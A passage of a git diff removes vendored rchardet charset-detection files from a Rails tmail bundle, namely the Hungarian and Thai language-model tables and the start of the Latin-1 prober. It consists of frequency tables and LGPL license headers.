-1,2,1,2,1,2,1,1,1,2,0,2,1,1,1,0,1,2,0,0,1,1,1,0,0,0,0,0,0,0,0,0,
-2,3,2,0,0,0,0,0,1,1,2,1,0,0,1,1,1,0,0,0,0,2,0,0,1,1,0,0,2,1,1,1,
-2,1,1,1,1,1,1,2,1,0,1,1,1,1,0,2,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,
-1,2,2,0,1,1,1,0,2,2,2,0,0,0,3,2,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,
-1,1,0,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,0,0,1,1,1,0,1,0,1,
-2,1,0,2,1,1,2,2,1,1,2,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,
-1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0,
-1,2,3,0,0,0,1,0,2,2,0,0,0,0,2,2,0,0,0,0,0,1,0,0,1,0,0,0,2,0,1,0,
-2,1,1,1,1,1,0,2,0,0,0,1,2,1,1,1,1,0,1,2,0,1,0,1,0,1,1,1,0,1,0,1,
-2,2,2,0,0,0,1,0,2,1,2,0,0,0,1,1,2,0,0,0,0,1,0,0,1,1,0,0,2,1,0,1,
-2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1,
-1,2,2,0,0,0,1,0,2,2,2,0,0,0,1,1,0,0,0,0,0,1,1,0,2,0,0,1,1,1,0,1,
-1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,1,
-1,0,0,1,0,1,2,1,0,0,1,1,1,2,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0,
-0,2,1,2,1,1,1,1,1,2,0,2,0,1,1,0,1,2,1,0,1,1,1,0,0,0,0,0,0,1,0,0,
-2,1,1,0,1,2,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,2,1,0,1,
-2,2,1,1,1,1,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,0,1,0,1,1,1,1,1,0,1,
-1,2,2,0,0,0,0,0,1,1,0,0,0,0,2,1,0,0,0,0,0,2,0,0,2,2,0,0,2,0,0,1,
-2,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,
-1,1,2,0,0,3,1,0,2,1,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,
-1,2,1,0,1,1,1,2,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,
-2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,2,0,0,0,
-2,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,1,0,1,
-2,1,1,1,2,1,1,1,0,1,1,2,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,1,0,1,1,1,1,1,0,0,1,1,2,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,
-1,2,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,
-2,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,2,0,0,1,0,0,1,0,1,0,0,0,
-0,1,1,1,1,1,1,1,1,2,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,
-1,0,0,1,1,1,1,1,0,0,2,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,
-0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,
-1,0,0,1,1,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,
-0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,
-0,0,0,1,0,0,0,0,0,0,1,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,
-2,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,
-0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,
-]
-
-Latin2HungarianModel = { 
-  'charToOrderMap' =>  Latin2_HungarianCharToOrderMap,
-  'precedenceMatrix' =>  HungarianLangModel,
-  'mTypicalPositiveRatio' =>  0.947368,
-  'keepEnglishLetter' =>  true,
-  'charsetName' =>  "ISO-8859-2"
-}
-
-Win1250HungarianModel = { 
-  'charToOrderMap' =>  Win1250HungarianCharToOrderMap,
-  'precedenceMatrix' =>  HungarianLangModel,
-  'mTypicalPositiveRatio' =>  0.947368,
-  'keepEnglishLetter' =>  true,
-  'charsetName' =>  "windows-1250"
-}
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langthaimodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langthaimodel.rb
deleted file mode 100755
index d430df34..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langthaimodel.rb
+++ /dev/null
@@ -1,201 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-# 255: Control characters that usually does not exist in any text
-# 254: Carriage/Return
-# 253: symbol (punctuation) that does not belong to word
-# 252: 0 - 9
-
-# The following result for thai was collected from a limited sample (1M). 
-
-# Character Mapping Table:
-TIS620CharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253,182,106,107,100,183,184,185,101, 94,186,187,108,109,110,111,  # 40
-188,189,190, 89, 95,112,113,191,192,193,194,253,253,253,253,253,  # 50
-253, 64, 72, 73,114, 74,115,116,102, 81,201,117, 90,103, 78, 82,  # 60
- 96,202, 91, 79, 84,104,105, 97, 98, 92,203,253,253,253,253,253,  # 70
-209,210,211,212,213, 88,214,215,216,217,218,219,220,118,221,222,
-223,224, 99, 85, 83,225,226,227,228,229,230,231,232,233,234,235,
-236,  5, 30,237, 24,238, 75,  8, 26, 52, 34, 51,119, 47, 58, 57,
- 49, 53, 55, 43, 20, 19, 44, 14, 48,  3, 17, 25, 39, 62, 31, 54,
- 45,  9, 16,  2, 61, 15,239, 12, 42, 46, 18, 21, 76,  4, 66, 63,
- 22, 10,  1, 36, 23, 13, 40, 27, 32, 35, 86,240,241,242,243,244,
- 11, 28, 41, 29, 33,245, 50, 37,  6,  7, 67, 77, 38, 93,246,247,
- 68, 56, 59, 65, 69, 60, 70, 80, 71, 87,248,249,250,251,252,253,
-]
-
-# Model Table: 
-# total sequences: 100%
-# first 512 sequences: 92.6386%
-# first 1024 sequences:7.3177%
-# rest  sequences:     1.0230%
-# negative sequences:  0.0436% 
-ThaiLangModel = [
-0,1,3,3,3,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,0,0,3,3,3,0,3,3,3,3,
-0,3,3,0,0,0,1,3,0,3,3,2,3,3,0,1,2,3,3,3,3,0,2,0,2,0,0,3,2,1,2,2,
-3,0,3,3,2,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,0,3,2,3,0,2,2,2,3,
-0,2,3,0,0,0,0,1,0,1,2,3,1,1,3,2,2,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,
-3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,3,3,2,3,2,3,3,2,2,2,
-3,1,2,3,0,3,3,2,2,1,2,3,3,1,2,0,1,3,0,1,0,0,1,0,0,0,0,0,0,0,1,1,
-3,3,2,2,3,3,3,3,1,2,3,3,3,3,3,2,2,2,2,3,3,2,2,3,3,2,2,3,2,3,2,2,
-3,3,1,2,3,1,2,2,3,3,1,0,2,1,0,0,3,1,2,1,0,0,1,0,0,0,0,0,0,1,0,1,
-3,3,3,3,3,3,2,2,3,3,3,3,2,3,2,2,3,3,2,2,3,2,2,2,2,1,1,3,1,2,1,1,
-3,2,1,0,2,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,
-3,3,3,2,3,2,3,3,2,2,3,2,3,3,2,3,1,1,2,3,2,2,2,3,2,2,2,2,2,1,2,1,
-2,2,1,1,3,3,2,1,0,1,2,2,0,1,3,0,0,0,1,1,0,0,0,0,0,2,3,0,0,2,1,1,
-3,3,2,3,3,2,0,0,3,3,0,3,3,0,2,2,3,1,2,2,1,1,1,0,2,2,2,0,2,2,1,1,
-0,2,1,0,2,0,0,2,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,
-3,3,2,3,3,2,0,0,3,3,0,2,3,0,2,1,2,2,2,2,1,2,0,0,2,2,2,0,2,2,1,1,
-0,2,1,0,2,0,0,2,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,
-3,3,2,3,2,3,2,0,2,2,1,3,2,1,3,2,1,2,3,2,2,3,0,2,3,2,2,1,2,2,2,2,
-1,2,2,0,0,0,0,2,0,1,2,0,1,1,1,0,1,0,3,1,1,0,0,0,0,0,0,0,0,0,1,0,
-3,3,2,3,3,2,3,2,2,2,3,2,2,3,2,2,1,2,3,2,2,3,1,3,2,2,2,3,2,2,2,3,
-3,2,1,3,0,1,1,1,0,2,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,2,0,0,
-1,0,0,3,0,3,3,3,3,3,0,0,3,0,2,2,3,3,3,3,3,0,0,0,1,1,3,0,0,0,0,2,
-0,0,1,0,0,0,0,0,0,0,2,3,0,0,0,3,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,
-2,0,3,3,3,3,0,0,2,3,0,0,3,0,3,3,2,3,3,3,3,3,0,0,3,3,3,0,0,0,3,3,
-0,0,3,0,0,0,0,2,0,0,2,1,1,3,0,0,1,0,0,2,3,0,1,0,0,0,0,0,0,0,1,0,
-3,3,3,3,2,3,3,3,3,3,3,3,1,2,1,3,3,2,2,1,2,2,2,3,1,1,2,0,2,1,2,1,
-2,2,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,
-3,0,2,1,2,3,3,3,0,2,0,2,2,0,2,1,3,2,2,1,2,1,0,0,2,2,1,0,2,1,2,2,
-0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,2,1,3,3,1,1,3,0,2,3,1,1,3,2,1,1,2,0,2,2,3,2,1,1,1,1,1,2,
-3,0,0,1,3,1,2,1,2,0,3,0,0,0,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
-3,3,1,1,3,2,3,3,3,1,3,2,1,3,2,1,3,2,2,2,2,1,3,3,1,2,1,3,1,2,3,0,
-2,1,1,3,2,2,2,1,2,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,
-3,3,2,3,2,3,3,2,3,2,3,2,3,3,2,1,0,3,2,2,2,1,2,2,2,1,2,2,1,2,1,1,
-2,2,2,3,0,1,3,1,1,1,1,0,1,1,0,2,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,2,3,2,2,1,1,3,2,3,2,3,2,0,3,2,2,1,2,0,2,2,2,1,2,2,2,2,1,
-3,2,1,2,2,1,0,2,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,2,3,1,2,3,3,2,2,3,0,1,1,2,0,3,3,2,2,3,0,1,1,3,0,0,0,0,
-3,1,0,3,3,0,2,0,2,1,0,0,3,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,2,3,2,3,3,0,1,3,1,1,2,1,2,1,1,3,1,1,0,2,3,1,1,1,1,1,1,1,1,
-3,1,1,2,2,2,2,1,1,1,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-3,2,2,1,1,2,1,3,3,2,3,2,2,3,2,2,3,1,2,2,1,2,0,3,2,1,2,2,2,2,2,1,
-3,2,1,2,2,2,1,1,1,1,0,0,1,1,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,1,3,3,0,2,1,0,3,2,0,0,3,1,0,1,1,0,1,0,0,0,0,0,1,
-1,0,0,1,0,3,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,2,2,2,3,0,0,1,3,0,3,2,0,3,2,2,3,3,3,3,3,1,0,2,2,2,0,2,2,1,2,
-0,2,3,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-3,0,2,3,1,3,3,2,3,3,0,3,3,0,3,2,2,3,2,3,3,3,0,0,2,2,3,0,1,1,1,3,
-0,0,3,0,0,0,2,2,0,1,3,0,1,2,2,2,3,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,
-3,2,3,3,2,0,3,3,2,2,3,1,3,2,1,3,2,0,1,2,2,0,2,3,2,1,0,3,0,0,0,0,
-3,0,0,2,3,1,3,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,1,3,2,2,2,1,2,0,1,3,1,1,3,1,3,0,0,2,1,1,1,1,2,1,1,1,0,2,1,0,1,
-1,2,0,0,0,3,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,3,1,0,0,0,1,0,
-3,3,3,3,2,2,2,2,2,1,3,1,1,1,2,0,1,1,2,1,2,1,3,2,0,0,3,1,1,1,1,1,
-3,1,0,2,3,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,2,3,0,3,3,0,2,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
-0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,2,3,1,3,0,0,1,2,0,0,2,0,3,3,2,3,3,3,2,3,0,0,2,2,2,0,0,0,2,2,
-0,0,1,0,0,0,0,3,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,
-0,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,1,2,3,1,3,3,0,0,1,0,3,0,0,0,0,0,
-0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,1,2,3,1,2,3,1,0,3,0,2,2,1,0,2,1,1,2,0,1,0,0,1,1,1,1,0,1,0,0,
-1,0,0,0,0,1,1,0,3,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,2,1,0,1,1,1,3,1,2,2,2,2,2,2,1,1,1,1,0,3,1,0,1,3,1,1,1,1,
-1,1,0,2,0,1,3,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,1,
-3,0,2,2,1,3,3,2,3,3,0,1,1,0,2,2,1,2,1,3,3,1,0,0,3,2,0,0,0,0,2,1,
-0,1,0,0,0,0,1,2,0,1,1,3,1,1,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
-0,0,3,0,0,1,0,0,0,3,0,0,3,0,3,1,0,1,1,1,3,2,0,0,0,3,0,0,0,0,2,0,
-0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,
-3,3,1,3,2,1,3,3,1,2,2,0,1,2,1,0,1,2,0,0,0,0,0,3,0,0,0,3,0,0,0,0,
-3,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,1,2,0,3,3,3,2,2,0,1,1,0,1,3,0,0,0,2,2,0,0,0,0,3,1,0,1,0,0,0,
-0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,2,3,1,2,0,0,2,1,0,3,1,0,1,2,0,1,1,1,1,3,0,0,3,1,1,0,2,2,1,1,
-0,2,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,0,3,1,2,0,0,2,2,0,1,2,0,1,0,1,3,1,2,1,0,0,0,2,0,3,0,0,0,1,0,
-0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,1,1,2,2,0,0,0,2,0,2,1,0,1,1,0,1,1,1,2,1,0,0,1,1,1,0,2,1,1,1,
-0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,
-0,0,0,2,0,1,3,1,1,1,1,0,0,0,0,3,2,0,1,0,0,0,1,2,0,0,0,1,0,0,0,0,
-0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,2,3,2,2,0,0,0,1,0,0,0,0,2,3,2,1,2,2,3,0,0,0,2,3,1,0,0,0,1,1,
-0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,
-3,3,2,2,0,1,0,0,0,0,2,0,2,0,1,0,0,0,1,1,0,0,0,2,1,0,1,0,1,1,0,0,
-0,1,0,2,0,0,1,0,3,0,1,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,1,0,0,1,0,0,0,0,0,1,1,2,0,0,0,0,1,0,0,1,3,1,0,0,0,0,1,1,0,0,
-0,1,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,
-3,3,1,1,1,1,2,3,0,0,2,1,1,1,1,1,0,2,1,1,0,0,0,2,1,0,1,2,1,1,0,1,
-2,1,0,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,3,1,0,0,0,0,0,0,0,3,0,0,0,3,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,
-0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,2,0,0,0,0,0,0,1,2,1,0,1,1,0,2,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,2,0,0,0,1,3,0,1,0,0,0,2,0,0,0,0,0,0,0,1,2,0,0,0,0,0,
-3,3,0,0,1,1,2,0,0,1,2,1,0,1,1,1,0,1,1,0,0,2,1,1,0,1,0,0,1,1,1,0,
-0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,2,2,1,0,0,0,0,1,0,0,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,
-2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,3,0,0,1,1,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,1,0,1,2,0,1,2,0,0,1,1,0,2,0,1,0,0,1,0,0,0,0,1,0,0,0,2,0,0,0,0,
-1,0,0,1,0,1,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,2,1,3,0,0,0,0,1,1,0,0,0,0,0,0,0,3,
-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,0,1,0,1,0,0,2,0,0,2,0,0,1,1,2,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,
-1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,
-1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0,
-2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,3,0,0,0,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,
-1,0,0,0,0,0,0,0,0,1,0,0,0,0,2,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,1,1,0,0,2,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-]
-
-TIS620ThaiModel = { 
-  'charToOrderMap' =>  TIS620CharToOrderMap,
-  'precedenceMatrix' =>  ThaiLangModel,
-  'mTypicalPositiveRatio' =>  0.926386,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "TIS-620"
-}
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/latin1prober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/latin1prober.rb
deleted file mode 100755
index 3f40ff1c..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/latin1prober.rb
+++ /dev/null
@@ -1,147 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  FREQ_CAT_NUM = 4
-
-  UDF = 0 # undefined
-  OTH = 1 # other
-  ASC = 2 # ascii capital letter
-  ASS = 3 # ascii small letter
-  ACV = 4 # accent capital vowel
-  ACO = 5 # accent capital other
-  ASV = 6 # accent small vowel
-  ASO = 7 # accent small other
-  CLASS_NUM = 8 # total classes
-
-  Latin1_CharToClass = [
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 00 - 07
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 08 - 0F
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 10 - 17
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 18 - 1F
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 20 - 27
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 28 - 2F
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 30 - 37
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 38 - 3F
-    OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC,   # 40 - 47
-    ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC,   # 48 - 4F
-    ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC,   # 50 - 57
-    ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH,   # 58 - 5F
-    OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS,   # 60 - 67
-    ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS,   # 68 - 6F
-    ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS,   # 70 - 77
-    ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH,   # 78 - 7F
-    OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH,   # 80 - 87
-    OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF,   # 88 - 8F
-    UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # 90 - 97
-    OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO,   # 98 - 9F
-    OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH,   # A0 - A7
